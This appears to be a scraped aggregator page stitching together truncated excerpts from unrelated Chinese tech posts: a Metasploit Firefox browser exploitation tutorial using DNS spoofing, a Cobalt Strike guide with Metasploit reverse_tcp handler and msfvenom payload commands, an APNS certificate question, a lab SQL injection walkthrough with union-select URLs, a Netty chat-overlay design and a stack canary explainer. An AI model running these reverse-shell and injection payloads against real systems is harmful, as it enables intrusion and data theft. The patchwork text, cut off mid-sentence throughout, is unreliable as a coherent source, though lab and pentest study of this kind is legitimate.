payload

kali linux metasploit的web渗透测试(二)-内网火狐浏览器渗透拿权限

假装没事ソ 提交于 2019-11-26 09:25:04
这一章,介绍如何利用metasploit进行火狐浏览器的渗透拿权限,需要在内网环境下 需要利用的技术是:可以使用ettercap(dns欺骗)或者mitmf(插入一段html地址),这两项技术就不再这里介绍与操作了,如何操作,请自行百度! 利用的模块有:exploit/multi/browser/firefox_webidl_injection,exploit/firefox/local/exec_shellcode ----绕过360拿shell 第一个模块:firefox_webidl_injection 是生成一个攻击链接,然后使用ettercap的dns欺骗或者mitmf插入这段攻击链接,只要让受害者访问这个链接,就会返回一个shell firefox的session 。 第二个模块:exec_shellcode是把上一个模块获取到的shell firefox session 提升为meterpreter,拿到meterpreter,然后进行进一步的渗透,下面介绍使用方法 打开metasploit,使用use来调用这两个模块 第一个模块:firefox_webidl_injection 对火狐浏览器使用的版本有限制,使用info命令查看Description的详情来查看适用版本范围 这里显示对firefox 22-27版本的才有效,于是我在kali

Cobalt Strike使用教程二

落爺英雄遲暮 提交于 2019-11-26 09:23:16
0x00 前言 继 前一章 介绍了Cobalt Strike的基本用法,本章接着介绍如何攻击、提权、维权等。 0x01 与Metasploit联动 Cobalt Strike → Metasploit msf开启监听模式 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.183.147 set lport 4444 run -j 创建两个监听器,一个使用windows/beacon_http/reverse_http来监听肉鸡,另一个使用windows/foreign/reverse_http来将获取到的控制权传给msf(注意:这里的端口要与msf监听的端口一致) 利用HTML Application来生成链接,使得目标设备上线,右击选择spwan,选择msf监听器,点击Choose 返回msf查看,成功获取meterpreter会话(此方法获取到的会话并不稳定,具体原因未知) Metasploit→ Cobalt Strike 当然这里也可以通过用msfvenom生成木马,再由CS发布 msfvenom -p windows/meterpreter/reverse_tcp lhost = 192.168.183.147 lport = 4444 -f

Creating .pem file for APNS?

不想你离开。 提交于 2019-11-26 08:57:26
问题 How do I create a .pem file to be stored in the hosting server for APN payload data? 回答1: Here is what I did, From:blog.boxedice.com and "iPhone Advanced Projects" chapter 10 byJoe Pezzillo. With the aps_developer_identity.cer in the keychain: Launch Keychain Access from your local Mac and from the login keychain, filter by the Certificates category. You will see an expandable option called “Apple Development Push Services” Right click on “Apple Development Push Services” > Export “Apple

Web for pentester_writeup之SQL injections篇

家住魔仙堡 提交于 2019-11-26 08:13:56
Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1 , 'and '1'='2 判断存在注入 猜解查询列数(%23为#号的URL编码,注释原有结构的单引号) http://192.168.219.136/sqli/example1.php?name=root' order by 5 %23 http://192.168.219.136/sqli/example1.php?name=root' order by 6 %23 所以查询列数为5,构造union联合查询语句查询页面输出的列 http://192.168.219.136/sqli/example1.php?name=root' union select 1,2,3,4,5%23 打印输出的列为123,利用输出的列数查询数据库版本,路径和当前数据库 http://192.168.219.136/sqli/example1.php?name=root' union select @@version,@@datadir,database(),4,5%23 查询当前数据库中包含的表,注意数据库名称需要用十六进行进行编码 exercises=>0x657865726369736573 http:/

基于Netty实现高性能弹幕系统

梦想的初衷 提交于 2019-11-26 08:11:00
一、弹幕系统概要设计 二、Netty对Http协议解析实现 三、WebScoket协议解析实现 一、弹幕系统概要设计 什么是弹幕系统? 弹 幕系统特点: 实时性高 :你发我收, 毫秒之差 并发量大 :一人吐槽,万人观看 弹幕系统架构设计: 业务架构: 实现方案一: 实现方案二: 二、NettyHttp协议解析实现 在上述方案中 浏览器不能直接能和Netty 建立连接 其必须借助http 请求 进行协议升级才能实现服务端与客户端基于Web Socket通信,其过程如下图: 也就是说如果我们想实现弹幕就必须先实现Http服务,那么Netty如何实现Http服务呢? Http协议交互过程 协议交互本质是指协议两端(客户端、服务端)如何传输数据?如何交换数据? 传输数据 一般基于TCP/IP 实现,体现到开发语言上就是我们所熟悉的Socket 编程。 交换数据 本质是指,两端(客户端、服务端)能各自识别对方所发送的数据。那么这就需要制定一套报文编码格式,双方以该格式编码数据发送给对方。Http 对应的Request 与Response报文格式如下图: request 报文: response 报文: http报文解析方案: 1:请求行的边界是CRLF(回车),如果读取到CRLF(回车),则意味着请求行的信息已经读取完成。 2:Header的边界是CRLF,如果连续读取两个CRLF

简单任务调度系统

时光怂恿深爱的人放手 提交于 2019-11-25 22:24:16
一 概述 1 运维管理的阶段 1 人工阶段 人工盯着服务器,出了问题,到机器前面,翻日志,查状态,手动操作 2 脚本阶段 开始写一些自动化脚本,启动计划任务,自动启动服务,监控服务等 3 工具阶段 脚本功能太弱,开发了大量工具,某种工具解决某个特定领域的问题,常用的有ansible,puppet等 4 平台阶段 将工具整合,自主研发,实现标准化,实现自动化流程控制,而今,平台已经开始迈向智能化的发展方向。 二 mschedule 设计 1 完整代码链接 https://gitee.com/ChangPaoZhe/mschedule 2要求 1 分发任务 分发脚本到目前节点上去执行 2 控制 控制并发,控制多少个节点同时执行 对错误做出响应,由用户设定,最多允许失败的比例或者数量,当超过范围时,需要终止任务执行 3 能跨机房部署 4 能对作业做版本控制,这是辅助功能,可过后实现 3 项目基本概述 1 基本概述 本项目的出发点,是只需要会使用shell脚本就可以了,可以通过使用shell脚本的方式来完成远程任务的下发和处理流程。 2 其他自动化工具二次开发缺点 ansible,salt等需要学习特定的内部语言,如果觉得ansible这样的工具不能满足需求,二次开发难度过高,代码量不小,本身它们开发接口不完善,而且熟悉它的叫也比较难,就算开发出来维护也难。 从这些项目上二次开发

反序列化工具ysoserial使用介绍

為{幸葍}努か 提交于 2019-11-25 22:02:00
反序列化工具ysoserial使用介绍 0x00 ysoserial是什么? ysoserial集合了各种java反序列化payload; 下载地址: https://github.com/angelwhu/ysoserial 0x01 基本使用方法 在公网vps上执行: java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 【port】 CommonsCollections1 '【commands】' port:公网vps上监听的端口号 commands:需要执行的命令 例子: java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'ping -c 2 rce.267hqw.ceye.io' 重启一个shell窗口: python exploit.py 【目标ip】 【目标端口】 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 【JRMPListener ip】 【JRMPListener port】 JRMPClient 列子: python exploit.py 118.89.53.139 7001

.NET core3.0 使用Jwt保护api

最后都变了- 提交于 2019-11-25 19:55:42
本文演示如何向有效用户提供jwt,以及如何在webapi中使用该token通过JwtBearerMiddleware中间件对用户进行身份认证。 认证和授权区别? 首先我们要弄清楚认证(Authentication)和授权(Authorization)的区别,以免混淆了。认证是确认的过程中你是谁,而授权围绕是你被允许做什么,即权限。显然,在确认允许用户做什么之前,你需要知道他们是谁,因此,在需要授权时,还必须以某种方式对用户进行身份验证。 什么是JWT? 根据维基百科的定义,JSON WEB Token(JWT),是一种基于JSON的、用于在网络上声明某种主张的令牌(token)。JWT通常由三部分组成:头信息(header),消息体(payload)和签名(signature)。 头信息指定了该JWT使用的签名算法: header = '{"alg":"HS256","typ":"JWT"}' HS256表示使用了HMAC-SHA256来生成签名。 消息体包含了JWT的意图: payload = '{"loggedInAs":"admin","iat":1422779638}'//iat表示令牌生成的时间 未签名的令牌由base64url编码的头信息和消息体拼接而成(使用"."分隔),签名则通过私有的key计算而成: key = 'secretkey' unsignedToken

sqli-labs通关记录

一世执手 提交于 2019-11-25 19:25:18
环境搭建: https://www.cnblogs.com/kagari/p/11910749.html 在此基础上添加了一个flag数据库,库名flag,表名flag,字段名flag Less-1 http://172.16.124.149/Less-1/?id=0%27%20union%20select%201,2,flag%20from%20flag.flag%23 Less-2 http://172.16.124.149/Less-2/?id=0%20union%20select%201,2,flag%20from%20flag.flag Less-3 http://172.16.124.149/Less-3/?id=0%27)%20union%20select%201,2,flag%20from%20flag.flag%23 Less-4 http://172.16.124.149/Less-4/?id=0%22)%20union%20select%201,2,flag%20from%20flag.flag%23 Less-5 http://172.16.124.149/Less-5/?id=0%27%20union%20select%201,2,count(*)%20from%20mysql.user%20group%20by%20concat((select

Stack Canary

女生的网名这么多〃 提交于 2019-11-25 19:24:27
Stack Canary 0x00 canary保护机制 Canary保护机制的原理,是在一个函数入口处从gs(32位)或fs(64位)段内获取一个随机值,一般存到eax - 0x4(32位)或rax -0x8(64位)的位置。如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail函数将抛出异常并退出程序。Canary最高字节一般是\x00,防止由于其他漏洞产生的Canary泄露 需要注意的是:canary一般最高位是\x00,64位程序的canary大小是8个字节,32位的是4个字节,canary的位置不一定就是与ebp存储的位置相邻,具体得看程序的汇编操作 1.程序从gs(32位)或fs(64位)段取出一个4或8节的值,在32位程序上,你可能会看到: 在64位程序上,可能会看到 总之,这个值你不能实现得到或预测,放到栈上以后,eax中的副本也会被清空(xor eax,eax) 2.程序正常的走完了流程,到函数执行完的时候,程序会把canary的值取出来,和之前放在栈上的canary进行比较,如果因为栈溢出什么的原因覆盖到了canary而导致canary发生了变化则直接终止程序。 在栈中大致是这样一个画风: 0x01 泄露canary 通过格式化字符漏洞或者栈溢出漏洞泄露出canary的值